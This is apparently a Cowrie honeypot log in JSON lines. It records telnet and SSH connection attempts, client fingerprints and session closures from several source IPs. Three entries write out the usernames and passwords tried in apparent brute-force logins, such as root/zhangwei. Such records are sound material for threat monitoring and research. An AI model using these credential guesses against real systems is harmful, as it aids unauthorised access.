{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33052,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b077ba965cc","protocol":"telnet","message":"New connection: 209.126.87.217:33052 (159.203.135.109:23) [session: 1b077ba965cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:44.478857Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33038,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f500f9beaa6","protocol":"telnet","message":"New connection: 209.126.87.217:33038 (159.203.135.109:23) [session: 8f500f9beaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:44.732200Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:45.618553Z","src_ip":"103.146.202.174","session":"9652ab5d2510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36396,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7425742072","protocol":"telnet","message":"New connection: 139.162.207.207:36396 (10.17.0.5:23) [session: 5e7425742072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:46.929348Z"}
{"eventid":"cowrie.session.closed","duration":33.01077938079834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:47.308792Z","src_ip":"209.126.87.217","session":"a9823bbdf48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"af7546a645c8","protocol":"telnet","message":"New connection: 209.126.87.217:33062 (159.203.135.109:23) [session: af7546a645c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:47.878581Z"}
{"eventid":"cowrie.session.closed","duration":34.60942792892456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:49.076627Z","src_ip":"209.126.87.217","session":"0e22e1aca2d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42990,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b02536eda91","protocol":"telnet","message":"New connection: 209.126.87.217:42990 (159.203.135.109:23) [session: 9b02536eda91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:52.238021Z"}
{"eventid":"cowrie.session.closed","duration":36.22584581375122,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:53.471142Z","src_ip":"139.162.207.207","session":"ae802e99af3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94976568222046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:53.577962Z","src_ip":"209.126.87.217","session":"1f52bed8bc75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43000,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c134587d47c","protocol":"telnet","message":"New connection: 209.126.87.217:43000 (159.203.135.109:23) [session: 3c134587d47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:53.969775Z"}
{"eventid":"cowrie.session.closed","duration":31.72908878326416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:58.597420Z","src_ip":"209.126.87.217","session":"fafc8494e8ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24776268005371,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:14:59.249724Z","src_ip":"209.126.87.217","session":"51cea0fd99f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55609917640686,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:01.292124Z","src_ip":"209.126.87.217","session":"85d4512ad6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9efc87233d1","protocol":"telnet","message":"New connection: 209.126.87.217:35154 (159.203.135.109:23) [session: a9efc87233d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:03.545488Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"82dce545f41e","protocol":"telnet","message":"New connection: 139.162.207.207:53964 (10.17.0.5:23) [session: 82dce545f41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:04.108086Z"}
{"eventid":"cowrie.session.closed","duration":33.3554322719574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:04.285704Z","src_ip":"139.162.207.207","session":"a8b069342cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35160,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2f30e80d44","protocol":"telnet","message":"New connection: 209.126.87.217:35160 (159.203.135.109:23) [session: 2f2f30e80d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:05.264326Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":59704,"dst_ip":"10.17.0.5","dst_port":22,"session":"58bfa2753cd2","protocol":"ssh","message":"New connection: 45.43.86.48:59704 (10.17.0.5:22) [session: 58bfa2753cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:06.980742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:07.382511Z","src_ip":"45.43.86.48","session":"58bfa2753cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:07.620602Z","src_ip":"45.43.86.48","session":"58bfa2753cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.23479771614075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:08.382495Z","src_ip":"209.126.87.217","session":"fdb5bbec1d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31748390197754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:08.454841Z","src_ip":"209.126.87.217","session":"332745b26b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a7fafb39a1e","protocol":"telnet","message":"New connection: 209.126.87.217:35172 (159.203.135.109:23) [session: 3a7fafb39a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:08.626371Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35176,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1984bccbc3c","protocol":"telnet","message":"New connection: 209.126.87.217:35176 (159.203.135.109:23) [session: d1984bccbc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:08.830480Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49210,"dst_ip":"159.203.135.109","dst_port":22,"session":"18c0c489aad9","protocol":"ssh","message":"New connection: 159.203.92.129:49210 (159.203.135.109:22) [session: 18c0c489aad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:10.235279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:10.240367Z","src_ip":"159.203.92.129","session":"18c0c489aad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:10.245490Z","src_ip":"159.203.92.129","session":"18c0c489aad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Qaz@2134","message":"login attempt [ansible/Qaz@2134] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:10.257867Z","src_ip":"159.203.92.129","session":"18c0c489aad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"truc","message":"login attempt [test/truc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:10.684458Z","src_ip":"45.43.86.48","session":"58bfa2753cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:11.271832Z","src_ip":"159.203.92.129","session":"18c0c489aad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:11.882864Z","src_ip":"45.43.86.48","session":"58bfa2753cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113285064697266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:12.672449Z","src_ip":"209.126.87.217","session":"83beacae2a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818328619003296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:15.297091Z","src_ip":"209.126.87.217","session":"1b077ba965cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.19427418708801,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:15.332079Z","src_ip":"139.162.207.207","session":"8c62f9c7f672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46222,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad2e3d914830","protocol":"telnet","message":"New connection: 209.126.87.217:46222 (159.203.135.109:23) [session: ad2e3d914830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:15.717878Z"}
{"eventid":"cowrie.session.closed","duration":33.892696142196655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:15.862302Z","src_ip":"139.162.207.207","session":"b4fc2376d220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58828,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae8d9ca5a13f","protocol":"telnet","message":"New connection: 139.162.207.207:58828 (10.17.0.5:23) [session: ae8d9ca5a13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:16.389697Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"14826f7e3c7d","protocol":"telnet","message":"New connection: 209.126.87.217:46228 (159.203.135.109:23) [session: 14826f7e3c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:16.938555Z"}
{"eventid":"cowrie.session.closed","duration":32.241495847702026,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:16.973557Z","src_ip":"209.126.87.217","session":"8f500f9beaa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46232,"dst_ip":"159.203.135.109","dst_port":23,"session":"69dd6968e680","protocol":"telnet","message":"New connection: 209.126.87.217:46232 (159.203.135.109:23) [session: 69dd6968e680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:18.295881Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46236,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcae9b748a60","protocol":"telnet","message":"New connection: 209.126.87.217:46236 (159.203.135.109:23) [session: bcae9b748a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:18.321213Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46244,"dst_ip":"159.203.135.109","dst_port":23,"session":"c530f1fec0c1","protocol":"telnet","message":"New connection: 209.126.87.217:46244 (159.203.135.109:23) [session: c530f1fec0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:18.385172Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59854,"dst_ip":"159.203.135.109","dst_port":23,"session":"292f38267f0c","protocol":"telnet","message":"New connection: 209.126.87.217:59854 (159.203.135.109:23) [session: 292f38267f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:19.880666Z"}
{"eventid":"cowrie.session.closed","duration":39.350301027297974,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:20.199617Z","src_ip":"139.162.207.207","session":"ecda7a2f4ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.844239473342896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:21.722699Z","src_ip":"209.126.87.217","session":"af7546a645c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58838,"dst_ip":"10.17.0.5","dst_port":23,"session":"60901c54d0fe","protocol":"telnet","message":"New connection: 139.162.207.207:58838 (10.17.0.5:23) [session: 60901c54d0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:22.591872Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59860,"dst_ip":"159.203.135.109","dst_port":23,"session":"488225353a53","protocol":"telnet","message":"New connection: 209.126.87.217:59860 (159.203.135.109:23) [session: 488225353a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:23.991726Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59862,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b63c166de6","protocol":"telnet","message":"New connection: 209.126.87.217:59862 (159.203.135.109:23) [session: 73b63c166de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:24.069901Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49898,"dst_ip":"10.17.0.5","dst_port":23,"session":"3672ed0433af","protocol":"telnet","message":"New connection: 139.162.207.207:49898 (10.17.0.5:23) [session: 3672ed0433af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:25.028261Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59878,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c927e57b56e","protocol":"telnet","message":"New connection: 209.126.87.217:59878 (159.203.135.109:23) [session: 2c927e57b56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:25.495689Z"}
{"eventid":"cowrie.session.closed","duration":32.89899277687073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:26.868650Z","src_ip":"209.126.87.217","session":"3c134587d47c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.54287338256836,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:27.472103Z","src_ip":"139.162.207.207","session":"5e7425742072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.35004711151123,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:27.587962Z","src_ip":"209.126.87.217","session":"9b02536eda91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf44b9acd79","protocol":"ssh","message":"New connection: 171.244.141.86:58322 (159.203.135.109:22) [session: fcf44b9acd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:27.779395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:27.784479Z","src_ip":"171.244.141.86","session":"fcf44b9acd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59884,"dst_ip":"159.203.135.109","dst_port":23,"session":"986002954b90","protocol":"telnet","message":"New connection: 209.126.87.217:59884 (159.203.135.109:23) [session: 986002954b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:27.909017Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:28.036629Z","src_ip":"171.244.141.86","session":"fcf44b9acd79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwei","message":"login attempt [root/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:29.076510Z","src_ip":"171.244.141.86","session":"fcf44b9acd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:30.330409Z","src_ip":"171.244.141.86","session":"fcf44b9acd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60257959365845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:36.147923Z","src_ip":"209.126.87.217","session":"a9efc87233d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73820471763611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:37.002368Z","src_ip":"209.126.87.217","session":"2f2f30e80d44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"99edeb25e4b5","protocol":"telnet","message":"New connection: 209.126.87.217:54750 (159.203.135.109:23) [session: 99edeb25e4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:37.049865Z"}
{"eventid":"cowrie.session.closed","duration":34.56382870674133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:38.671800Z","src_ip":"139.162.207.207","session":"82dce545f41e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ebfe0d7841","protocol":"telnet","message":"New connection: 139.162.207.207:47290 (10.17.0.5:23) [session: 63ebfe0d7841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:38.679799Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a7be37787ee","protocol":"telnet","message":"New connection: 139.162.207.207:47288 (10.17.0.5:23) [session: 2a7be37787ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:15:40.368328Z"}
